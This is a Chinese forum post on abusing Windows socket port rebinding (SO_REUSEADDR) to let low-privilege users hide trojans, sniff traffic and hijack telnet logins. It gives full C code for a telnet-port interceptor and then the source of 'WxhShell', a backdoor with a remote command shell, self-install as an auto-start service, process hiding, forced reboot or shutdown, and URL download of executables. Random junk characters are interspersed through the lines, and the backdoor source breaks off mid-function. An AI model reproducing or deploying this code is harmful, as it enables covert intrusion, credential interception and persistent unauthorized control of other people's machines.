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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r)OiiD"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W6_ rSVm  
2pU'&8  
  saddr.sin_family = AF_INET; Y}: 4y$<  
5-y*]:g(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;8dffsyq  
/|<S D.:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2ij&Db/  
L`X5\D'X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'nBP%  
_>rM[\|X  
  这意味着什么?意味着可以进行如下的攻击: |xg_z&dX  
nO!&;E&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GM?s8yZ<  
H%gAgXHn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0zkMRBe  
qw?(^uZNW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :8hI3]9  
k54\H.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `-OzjbM  
Ff(};$/& W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NkO+ )=  
m#Z&05^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ; +(VO  
q6w)zTpJGJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~J&-~<%P}  
;{L[1OP%e  
  #include #QIY+muN  
  #include &(A#F[ =0  
  #include h`dQ OH#  
  #include    Bv!{V)$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Wbei{3~$Y"  
  int main() 8'jt59/f  
  { ENIg_s4  
  WORD wVersionRequested; q4&! mDU  
  DWORD ret; BQ)>}YHk  
  WSADATA wsaData; u}|v;:|j  
  BOOL val; ..X_nF  
  SOCKADDR_IN saddr; -Dx3*ZhP  
  SOCKADDR_IN scaddr; Yj/ o17  
  int err; 6]~/`6Dub  
  SOCKET s; \Ta5c31S+  
  SOCKET sc; PJ0~ymE1~G  
  int caddsize; ]%HxzJ  
  HANDLE mt; FHw%ynC  
  DWORD tid;   4\u`M R  
  wVersionRequested = MAKEWORD( 2, 2 ); yn_f%^!G  
  err = WSAStartup( wVersionRequested, &wsaData ); -0#"<!N  
  if ( err != 0 ) { z!O;s ep?/  
  printf("error!WSAStartup failed!\n"); 6V%}2YE?X  
  return -1; vt2. i$u  
  } wjwCs`  
  saddr.sin_family = AF_INET; 6QCV i  
   " nCK%w=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TB* t^ E  
G}g;<,g~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6XF Ufi+  
  saddr.sin_port = htons(23); UMe?nAC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xc 1d[dCdp  
  { _<#92v !F  
  printf("error!socket failed!\n"); b4-gNF]Yt  
  return -1; #e-K It  
  } QK[^G6TI  
  val = TRUE; \}v@!PQl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @jm+TW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @n?"*B  
  { &qG/\  
  printf("error!setsockopt failed!\n"); KR?aL:RYb  
  return -1; q,L>PN+W  
  } k>mXh{ (  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (ct1i>g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bE.<vF&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2A; i  
jI7 x<=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'g)f5n a[  
  { :?\29j#*V  
  ret=GetLastError(); iYgVSVNg  
  printf("error!bind failed!\n"); l`zh Kj  
  return -1; d{JI] !  
  } <<u]WsW{C  
  listen(s,2); (m:Q'4Ep  
  while(1) ) hs&?: )  
  { \tYImh  
  caddsize = sizeof(scaddr); jq%<Z,rh  
  //接受连接请求 H\oxj,+N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]jxyaE&%4  
  if(sc!=INVALID_SOCKET) jH9PD8D\  
  { mMwV5\(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7>y]uT@ar  
  if(mt==NULL) +bLP+]7oZ  
  { H`)eT6:|/  
  printf("Thread Creat Failed!\n"); ^3$U[u%q/{  
  break; "h_f- vP  
  } f&4+-w.:V|  
  } y EfAa6  
  CloseHandle(mt); @y7KP$t  
  } e:nByzdH0[  
  closesocket(s); 'Xwv,  
  WSACleanup(); ~6kF`}5  
  return 0; n'^`;-  
  }   |.$B,cEd  
  DWORD WINAPI ClientThread(LPVOID lpParam) F$tzsz,9n  
  { yKl^-%Uq<  
  SOCKET ss = (SOCKET)lpParam; ;&=CZ6vH  
  SOCKET sc; -%MXt  
  unsigned char buf[4096]; S8dfe~|7:  
  SOCKADDR_IN saddr; / ^d9At614  
  long num; G<-KwGy,D  
  DWORD val; _lkVT']  
  DWORD ret; 0SYJ*7lPX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S?JCi =  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7V::P_aUY  
  saddr.sin_family = AF_INET; xIm2t~io  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'yX\y 6I  
  saddr.sin_port = htons(23); ; X+tCkzF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e8> X5  
  { 1gK^x^l*f  
  printf("error!socket failed!\n"); 2QbKh)   
  return -1; '6qH@r4Z<  
  } fDns r" T  
  val = 100; 4N$Wpx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ur< (TM  
  { S y <E@1  
  ret = GetLastError(); ty['yV-;a  
  return -1; h SS9mQ  
  } =<HekiYM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G`%rnu  
  { @JhkUGG]p  
  ret = GetLastError(); )J@[8 x`  
  return -1; J[?oV;O  
  } jRC{8^98  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \Qah*1  
  { jm<^WQ%Cc  
  printf("error!socket connect failed!\n"); 0qFO+nC  
  closesocket(sc); c{1)- &W  
  closesocket(ss); Zj]tiN f\"  
  return -1; h/\ Zq  
  } Dz~^AuD6  
  while(1) k8st XW-w  
  { hk5!$#^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >ph=?M KD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E]~ #EFc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z.hq2v  
  num = recv(ss,buf,4096,0); U9`Co&Z2  
  if(num>0) 4uO88[=  
  send(sc,buf,num,0); xM<aQf\j  
  else if(num==0) OCdX'HN5Y  
  break; 5g-1pzP9  
  num = recv(sc,buf,4096,0); H?r~% bh  
  if(num>0) WP\kg\o  
  send(ss,buf,num,0); j7g>r/1eE  
  else if(num==0) ^^ix4[1$Z  
  break; J#wf`VR%  
  } bz nMD  
  closesocket(ss); \Kui`X  
  closesocket(sc); ck `td%  
  return 0 ; YR\(*LJL  
  } [AFR \{  
Xmmj.ZUr  
x4kQGe(  
========================================================== [g"nu0sOK  
NKFeND  
下边附上一个代码,,WXhSHELL <Af&Q0J  
] rqx><!  
========================================================== mm#UaEp  
5#f_1 V  
#include "stdafx.h" Ew.6y=Ba  
3%9XJ]Qao  
#include <stdio.h> |a7Kn/[`,  
#include <string.h> L:&'z:,<  
#include <windows.h> e`LvHU_0  
#include <winsock2.h> %F150$(D  
#include <winsvc.h> \>oy2{=;'  
#include <urlmon.h> oc-&}R4=  
Qo3Enwap=  
#pragma comment (lib, "Ws2_32.lib") )xU+M{p-os  
#pragma comment (lib, "urlmon.lib") 6X'0 T}  
7fWZ/;p  
#define MAX_USER   100 // 最大客户端连接数 8H};pu2  
#define BUF_SOCK   200 // sock buffer e:MbMj6`  
#define KEY_BUFF   255 // 输入 buffer /: -&b#+  
'e<8j  
#define REBOOT     0   // 重启 N6BOUU]  
#define SHUTDOWN   1   // 关机 M7Xn=jc  
be-HF;lZe'  
#define DEF_PORT   5000 // 监听端口 @`B_Q v@  
S/eplz;  
#define REG_LEN     16   // 注册表键长度 -0`n(`2  
#define SVC_LEN     80   // NT服务名长度 er BerbEEH  
Y evd h<  
// 从dll定义API 8.wtv5eZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4!ZT_q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >@G"*le*)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y~OP9Tg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mIrN~)C4\  
FnOa hLS  
// wxhshell配置信息 #d<"Ub  
struct WSCFG { ]T5\LNyN  
  int ws_port;         // 监听端口 |DsT $ ~D  
  char ws_passstr[REG_LEN]; // 口令 By[M|4a  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5(1c?biP&  
  char ws_regname[REG_LEN]; // 注册表键名 W4P\HM>2  
  char ws_svcname[REG_LEN]; // 服务名 +,7vbs3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _I,GH{lhI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l%0-W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c*<BU6y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "ig)7X+Wz|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~A%+oa*2~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?c"i V  
^g2Vz4u  
}; M'X,7hZ  
@!ja/Y^  
// default Wxhshell configuration +S#Xm4  
struct WSCFG wscfg={DEF_PORT, XCxxm3t  
    "xuhuanlingzhe", D8*6h)~  
    1, }=|{"C  
    "Wxhshell", /VEK<.,aMv  
    "Wxhshell", Y HS/|-  
            "WxhShell Service", yZoJD{'?Sw  
    "Wrsky Windows CmdShell Service", ON>l%Ae4G  
    "Please Input Your Password: ", |eye) E:  
  1, KT(v'KE 1  
  "http://www.wrsky.com/wxhshell.exe", e^;:iJS  
  "Wxhshell.exe" b ettOg  
    }; &N/dxKZcc  
 ]sP  
// 消息定义模块 3;uLBuZOCN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]i1OssV~>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S5H}   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g#1 Y4  
char *msg_ws_ext="\n\rExit."; Ms3GvPsgv  
char *msg_ws_end="\n\rQuit."; kQ2WdpZ/  
char *msg_ws_boot="\n\rReboot..."; noB8*n0  
char *msg_ws_poff="\n\rShutdown..."; 0Q#}:  
char *msg_ws_down="\n\rSave to "; i&)([C0z$  
V+U89j1g  
char *msg_ws_err="\n\rErr!"; Wi\k&V.mE  
char *msg_ws_ok="\n\rOK!"; \fvm6$ rZ^  
^rY18?XC+:  
char ExeFile[MAX_PATH]; OYmutq  
int nUser = 0; ]70ZerQ~L  
HANDLE handles[MAX_USER]; &VCg`r-{~  
int OsIsNt; EK Q>hww8  
)@tHS-Jf  
SERVICE_STATUS       serviceStatus; -~_|ZnuM9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y>T>  
s`v$r,N0  
// 函数声明 y La E]  
int Install(void); Be\@n xV[  
int Uninstall(void); ;Vf{3  
int DownloadFile(char *sURL, SOCKET wsh); p*1 B *R  
int Boot(int flag); hc9 ON&L\>  
void HideProc(void); jWvi% I qi  
int GetOsVer(void); O^ &m  
int Wxhshell(SOCKET wsl); N<Ym&$xR  
void TalkWithClient(void *cs); ?V~vP%1  
int CmdShell(SOCKET sock); )3 f\H  
int StartFromService(void); q^ &r<i  
int StartWxhshell(LPSTR lpCmdLine); z/WGL  
X -=M>H^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u35"oLV6}#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DV>;sCMJ %  
LU@1Gol  
// 数据结构和表定义 f+)LVT8p  
SERVICE_TABLE_ENTRY DispatchTable[] = nq+6ipx  
{ =E(ed,gH8  
{wscfg.ws_svcname, NTServiceMain}, oSYbx:2wo  
{NULL, NULL} jlqSw4_  
}; #IDLfQ5g  
 %(K}1[  
// 自我安装 ~oK0k_{~  
int Install(void) 79o=HiOF99  
{ \W=Z`w3  
  char svExeFile[MAX_PATH]; ^;[_CF _  
  HKEY key; $Tt.r  
  strcpy(svExeFile,ExeFile); @W==)S%O  
:>H{?  
// 如果是win9x系统,修改注册表设为自启动 ug"4P.wI  
if(!OsIsNt) { )7#3n(_np  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N K@6U_/W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TnKOr~@*  
  RegCloseKey(key); hOFvM&$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >r}?v3QW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .*W7Z8!e  
  RegCloseKey(key); Cy5iEI#  
  return 0; WyM2h  
    } 4L97UhLL  
  } tWaGCxaE  
} 7A$mZPKh  
else { O@dK^o  
bTAY5\wB  
// 如果是NT以上系统,安装为系统服务 ,C_MB1u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,K30.E  
if (schSCManager!=0) OJM2t`}_t  
{ 9q[[ ,R  
  SC_HANDLE schService = CreateService B| M@o^Tf  
  ( 0~DsA Ua  
  schSCManager, [T/S/@IT  
  wscfg.ws_svcname, 0=40}n&`  
  wscfg.ws_svcdisp, pbwOma2  
  SERVICE_ALL_ACCESS, 7*WO9R/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &h7 n>q  
  SERVICE_AUTO_START, b+f '  
  SERVICE_ERROR_NORMAL, q& KNK  
  svExeFile, @$%.iQ7A;  
  NULL, MhD=\Lpj\  
  NULL, z 9WeOs  
  NULL, c]$$ap  
  NULL, J{XRltI+  
  NULL I1K%n'D  
  ); ^R(=4%8%"  
  if (schService!=0) WOeLn[  
  { Xw|-v$'y  
  CloseServiceHandle(schService);  Yg2P(  
  CloseServiceHandle(schSCManager); hew"p(`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GyFA1%(o  
  strcat(svExeFile,wscfg.ws_svcname); '[_.mx|cd`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lKqFuLHwF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YZ<5-C  
  RegCloseKey(key); k!WeE#"(  
  return 0; 2$o\`^dy  
    } #P!M"_z  
  } xsS;<uCD  
  CloseServiceHandle(schSCManager); Of9 gS-m  
} K05T`+N,  
} q$ j  
(b"q(:5oX  
return 1; 43rV> W,  
} ol {N^fi K  
k!6m'}v  
// 自我卸载 l!\~T"-7;:  
int Uninstall(void) H_1&>@ 3  
{ &Rz-;66bN  
  HKEY key; K&"X7fQ  
@ @(O##(7  
if(!OsIsNt) { T5:xia>8O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /pLf?m9  
  RegDeleteValue(key,wscfg.ws_regname); *Z2Ko5&Y2  
  RegCloseKey(key); `ooHABC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rx<P#y]3)  
  RegDeleteValue(key,wscfg.ws_regname); =fB"T+  
  RegCloseKey(key); K;w]sN+I  
  return 0; N+pCC  
  } ^.~e  
} Jv]$@>#  
} wqzpFPk(  
else { ;W\?lGOs{  
(_gt!i{h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y\4B2:Qd9  
if (schSCManager!=0) )N\B C  
{ /paZJ}Pr.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )%8st'  
  if (schService!=0) .O&YdUo  
  { uy<b5.!-  
  if(DeleteService(schService)!=0) { 2nL*^hhh  
  CloseServiceHandle(schService); WU,b<PU &  
  CloseServiceHandle(schSCManager); 6%wlz%Fp  
  return 0; "t-9q  
  } W!+=`[Ff  
  CloseServiceHandle(schService); ;Uy}(  
  } r-]%R:U*  
  CloseServiceHandle(schSCManager); w:=:D=xH2  
} ~Ra8(KocD  
} :wUi&xw  
8 ~Pdr]5  
return 1; D$TpT X\  
} O+=}x]q*y  
:C={Z}t/F  
// 从指定url下载文件 B9c gVTLj  
int DownloadFile(char *sURL, SOCKET wsh) ~JS@$#  
{ /o}i,i$  
  HRESULT hr; ^^a%Lz)U  
char seps[]= "/"; xjrL@LO#  
char *token; |PGTP#O<  
char *file; 2gEF$?+q?  
char myURL[MAX_PATH]; oP:R1<  
char myFILE[MAX_PATH]; QDb8W*&<  
?_T[]I'  
strcpy(myURL,sURL); 4 DV,f2:R4  
  token=strtok(myURL,seps); K7i@7  
  while(token!=NULL) 2dbn~j0  
  { J L1]auO*  
    file=token; Gj[5e w?@  
  token=strtok(NULL,seps); |nqN95'u+]  
  } zp``e;gY  
$gL^\(_3H  
GetCurrentDirectory(MAX_PATH,myFILE); LE?sAN  
strcat(myFILE, "\\"); D^f;X.Qm  
strcat(myFILE, file); p$*P@qm  
  send(wsh,myFILE,strlen(myFILE),0); q_"w,28  
send(wsh,"...",3,0); J(P'!#z^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >Dz8+y  
  if(hr==S_OK) -q&,7'V  
return 0; ,F "P/`i'  
else ]AN%#1++U  
return 1; v(, tu/  
3|EAOoWnK  
} 10N0?K"  
u Qg$hS  
// 系统电源模块 - "{hP  
int Boot(int flag) UoSc<h|  
{ u0qTP]  
  HANDLE hToken; N0 mh gEA  
  TOKEN_PRIVILEGES tkp; m SO7r F  
/neY2D6  
  if(OsIsNt) { =CjWPZShV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k$kxw_N5d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^E~1%Md.  
    tkp.PrivilegeCount = 1; Deq@T {  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SN[ar&I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TFz k5  
if(flag==REBOOT) { f6PYB&<1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4i<GqG  
  return 0; #wkSru&LS  
} `91Z]zGpU  
else { Cj/!m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mf7 [@#$  
  return 0; b+L!p.:  
} j'lC]}kH  
  } ]!s@FKC{;  
  else { b tbuE  
if(flag==REBOOT) { z<J2e^j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RS@G.|  
  return 0; :u)Qs#'29  
} YHxQb$v)  
else { uh>"TeOi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '+c@U~d*7  
  return 0; lAo4)  
} Y3 -f68*(  
} aEun *V^,  
}VHvC"   
return 1; KUU ZN  
} ^ q3H  
(CAkzgTfc  
// win9x进程隐藏模块 %MCS_'N J  
void HideProc(void) C 7YS>?^]  
{ .z*}%,G  
0WyOORuK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u<+"#.[2v~  
  if ( hKernel != NULL ) i<q_d7-W'  
  { PI"6d)S2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); = '-/JH~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KTeR;6oZn"  
    FreeLibrary(hKernel); k`s_31<  
  } 0n={Mb  
90ov[|MkM  
return; kv2 H3O  
} 2Zg%4/u,Zp  
g[\8s~g,  
// 获取操作系统版本 -"XHN=H  
int GetOsVer(void) ]LMtZUz  
{ #F6M<V'  
  OSVERSIONINFO winfo; ZS`9r16@b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b'vIX< g  
  GetVersionEx(&winfo); !P":z0K4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (nYGN$qC9  
  return 1; kjt(OFh'Y+  
  else l%qh^0  
  return 0; by$mD_sr  
} rqKK89fD'  
NceK>:: 56  
// 客户端句柄模块 AKS. XW  
int Wxhshell(SOCKET wsl) |:SIyXGbY  
{ ^S)t;t@x  
  SOCKET wsh; e2pFX?  
  struct sockaddr_in client; 2(P<TP._E  
  DWORD myID; LKZv#b[h  
p }Bh  
  while(nUser<MAX_USER) vYq"W%  
{ kovJ9  
  int nSize=sizeof(client); phwBil-vUU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fc|N6I'o  
  if(wsh==INVALID_SOCKET) return 1; =4OV }z=I  
}C$D-fH8sW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nj-LG!"a  
if(handles[nUser]==0) 1KjzKFnb  
  closesocket(wsh); -U;=]o1  
else kZR(0, W  
  nUser++; Lzx/9PPYn  
  } NS "1zR+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <S12=<c?'  
DU-dIq i  
  return 0; .}E@ 7^X  
} :W+%jn  
)q[Wzx_ j<  
// 关闭 socket $2a_!/  
void CloseIt(SOCKET wsh) H8m[:K]_H  
{ R{6M(!x  
closesocket(wsh); } V"A;5j`  
nUser--; WE+Szg(4x  
ExitThread(0); S7@/d HN  
} R_vK^Da  
oq,*@5xV2  
// 客户端请求句柄 &gI*[5v  
void TalkWithClient(void *cs) :w7?]y6~S  
{ V}FH5z |  
4{0vdpo3F  
  SOCKET wsh=(SOCKET)cs; Fu[GQ6{f  
  char pwd[SVC_LEN]; &<cP{aBa  
  char cmd[KEY_BUFF]; d^0-|sx  
char chr[1]; E#cu}zi  
int i,j; b{ tp qNm~  
t7*F,  
  while (nUser < MAX_USER) { lk=[Xo  
di<g"8  
if(wscfg.ws_passstr) { shiw;.vR{B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F3x*dq2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cb/$P!j7  
  //ZeroMemory(pwd,KEY_BUFF); qV-1aaA  
      i=0; uX6rCokr  
  while(i<SVC_LEN) { |`+ (O  
'}q/;}ih  
  // 设置超时 Gq7\b({=  
  fd_set FdRead; mt[ #=Yba  
  struct timeval TimeOut;  gOp81)  
  FD_ZERO(&FdRead); a;&0u>  
  FD_SET(wsh,&FdRead); PeSTUR&  
  TimeOut.tv_sec=8; Vw`%|x"Xz  
  TimeOut.tv_usec=0; th5UzpB4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *r|1 3|k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #fXy4iL l  
%2^V.`0T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ym$`EN  
  pwd=chr[0]; Z}3;Ych  
  if(chr[0]==0xd || chr[0]==0xa) { GY"c1 KE$  
  pwd=0; :J+ANIRI  
  break; LCb0Kq}*/(  
  }  }s8xr>  
  i++; R?J8#JPXD  
    } {@PZlQg  
Ij9=J1c4  
  // 如果是非法用户,关闭 socket sGa "  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vq^b_^  
} yP34h*0B  
v7@ *dg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ciW;sK8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d-gcXaA-8  
SUL\|z`5  
while(1) { oq (W|  
nd5.Py$  
  ZeroMemory(cmd,KEY_BUFF); Q_*.1L  
CM t$ )  
      // 自动支持客户端 telnet标准   _6]tbni?v  
  j=0; Mv:\T%]  
  while(j<KEY_BUFF) { upq3)t_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T`c:16I  
  cmd[j]=chr[0]; 8 v da"  
  if(chr[0]==0xa || chr[0]==0xd) { aLwEz}-   
  cmd[j]=0; EWWCh0 {  
  break; JZqJ&   
  } ?}C8_I|4~  
  j++; GxE`z6%[  
    } q^L"@Q5;  
dd4^4X`j  
  // 下载文件 -@~4:o  
  if(strstr(cmd,"http://")) { A^4#6],%v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s1X?]A  
  if(DownloadFile(cmd,wsh)) ^xr & E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C]3^:b+   
  else 5{-54mwo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &0+Ba[Z ^  
  } gGs"i]c  
  else { ifmX<'(9A  
-)DxF<8B  
    switch(cmd[0]) { 4OG 1_6K  
  i\* b<V  
  // 帮助 %V(U]sbV  
  case '?': { WGUd@lC~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )?( _vrc<  
    break; W^eQ}A+Z  
  } R,-DP/ (im  
  // 安装 <4I`|D3@  
  case 'i': { E:P_CDSd]  
    if(Install()) "a<:fEsSE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C~M,N|m+^  
    else gj }Vnv1[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xk^`4;  
    break; /8/N  
    } ]Bz.6OR  
  // 卸载 Z/OERO   
  case 'r': { 31p7oRzr  
    if(Uninstall()) fyq %-Tj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .RbPO#(  
    else O81'i2M J9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "~"=e  
    break; zGP@!R`_  
    } }'uV{$  
  // 显示 wxhshell 所在路径 ];u nR<H  
  case 'p': { _A=i2?g  
    char svExeFile[MAX_PATH]; {k']nI.>  
    strcpy(svExeFile,"\n\r"); (Y"./BDY  
      strcat(svExeFile,ExeFile); p<B*)1Tj0  
        send(wsh,svExeFile,strlen(svExeFile),0); D% 2S!  
    break; B!J&=*=e  
    } _V3}F1?W  
  // 重启 9CZ EP0i7  
  case 'b': { i~m;Ah,#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g? C<@  
    if(Boot(REBOOT)) o3le[6C/8=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c3O&sa V!  
    else { WKq{g+a  
    closesocket(wsh); ^KQZ;[B  
    ExitThread(0); :=K+~?  
    } gbu)bqu2x  
    break; mqiCn]8G  
    } =3GgfU5k  
  // 关机 ~;oaW<"  
  case 'd': { ra1_XR}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {G=|fgz  
